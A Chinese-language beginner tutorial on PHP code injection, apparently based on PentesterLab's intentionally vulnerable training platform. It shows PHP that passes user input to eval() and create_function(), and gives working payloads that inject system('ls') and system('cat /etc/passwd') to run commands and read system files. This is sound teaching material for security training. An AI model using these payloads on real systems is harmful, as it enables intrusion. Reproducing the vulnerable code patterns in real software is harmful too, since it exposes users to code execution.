PentesterLab新手教程(一):代码注入

作者:网友投稿 时间:2018-04-27 09:19

字号

Web for pentester 是国外安全研究者开发的的一款渗透测试平台。

这个平台包含的主要漏洞如下:

Code injection (代码注入)

Commands injection(命令行注入)

XSS(跨站脚本)

SQL injections(sql注入)

File include(文件包含)

LDAP attacks(LDAP攻击)

File Upload(文件上传)

XML attacks(XML攻击)

个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab 的全套教程,PentesterLab 上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。

PentesterLab安装

安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。

官网地址&下载地址

Code injection (代码注入)

本文介绍Code injection的内容,其他模块教程会在后续给出。

php代码注入漏洞造成的主要原因是过滤不严格,造成恶意代码被执行。该漏洞主要是函数的参数过滤不严格所致,严重时可以直接写入webshell。

Example1

后端代码

<?php require_once("../header.php"); ?> <?php $str="echo \"Hello ".$_GET['name']."!!!\";"; //echo $str."<br>"; eval($str); ?> <?php require_once("../footer.php"); ?>

代码解释

php把获取到参数拼接进$str变量,然后eval()函数执行php语句。没有任何过滤,只要保证最后语法正确可以执行。

注: 注释掉的代码是我自己加上,你也可以自己加上,更直观一点,下面默认都是加上的。

这里有一点不知道大家注意到没,如果你构造的语句也有问题,网页就是报错,报错信息如下:

Parse error: syntax error, unexpected '<' in /var/www/codeexec/example1.php(13) : eval()'d code on line 1

暴露了当前php文件的绝对路径和报错函数,这也算是一条有用的信息吧。

利用方式

1. 执行系统命令

poc: ?name=%22.system(%27ls%27);// 注:敲黑板了,这里的`//`·是php里面的注释符号,注释掉后面的语句。 ?name=%22.system(%27ls%27);%20$a=%22 注:这样也是可以的啦,`;`表示一条单独的语句,后面的没用的赋值给一个变量来起到注释作用,这个sql注入里用and '1' = '1来闭合单引号是一样的道理。 上面的返回页面: echo "Hello ".system('ls'); $a="!!!"; example1.php example2.php example3.php example4.php index.html Hello index.html ?name=%22.system('cat /etc/passwd');// 查看系统关键文件

再次敲黑板

有些新同学可能要问了echo "Hello ".system('ls'); 这条语句中点号是字符串拼接,不是应该返回Hello+ls的结果吗?为什么这里面的返回值不是这样。这里我简单给新同学科普一下。

举个栗子:

echo '1+3='.1+3 输出结果是4

echo '1+3='.3+1 输出结果是2

上面可以看到php会先拼接字符串,然后强制转换成int型,然后运算输出结果。

拼接字符串得到1+3=1强制转换int型得到1,然后运算1+3得到4,所以输出结果就是4了,上面差不多就是这样,这方面就不要深究了,有输出就可以了。

Example 2

后端代码

<?php require_once("../header.php") ?> <?php class User{ public $id, $name, $age; function __construct($id, $name, $age){ $this->name= $name; $this->age = $age; $this->id = $id; } } require_once('../header.php'); require_once('../sqli/db.php'); $sql = "SELECT * FROM users "; $order = $_GET["order"]; $result = mysql_query($sql); if ($result) { while ($row = mysql_fetch_assoc($result)) { $users[] = new User($row['id'],$row['name'],$row['age']); } if (isset($order)) { usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); } } ?> <table > <tr> <th><a href="http://www.freebuf.com/sectool/example2.php?order=id">id</th> <th><a href="http://www.freebuf.com/sectool/example2.php?order=name">name</th> <th><a href="http://www.freebuf.com/sectool/example2.php?order=age">age</th> </tr> <?php foreach ($users as $user) { echo "<tr>"; echo "<td>".$user->id."</td>"; echo "<td>".$user->name."</td>"; echo "<td>".$user->age."</td>"; echo "</tr>"; } echo "</table>"; require '../footer.php'; ?> <?php require_once("../footer.php") ?>

代码分析

usort() 使用用户自定义的比较函数对数组进行排序。语法:usort(array,myfunction);

usort()经常与该功能create_function一起使用,以基于用户控制的信息动态生成“分类”功能。如果Web应用程序缺乏有效的筛选和验证,则可能导致代码执行。

所以我们把焦点放到这行代码上usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));,可能新同学还说看不懂,别着急,先举个例子:

craete_function('$a','echo "hello".$a)这个函数其实就相当于:

function Hello($a) { echo 'Hello'.$a; }

前面是函数变量部分,后面是代码部分,前面变量传给了后面的参数。

责任编辑:CQITer新闻报料:400-888-8888   本站原创,未经授权不得转载
继续阅读
热新闻
推荐
关于我们联系我们免责声明隐私政策 友情链接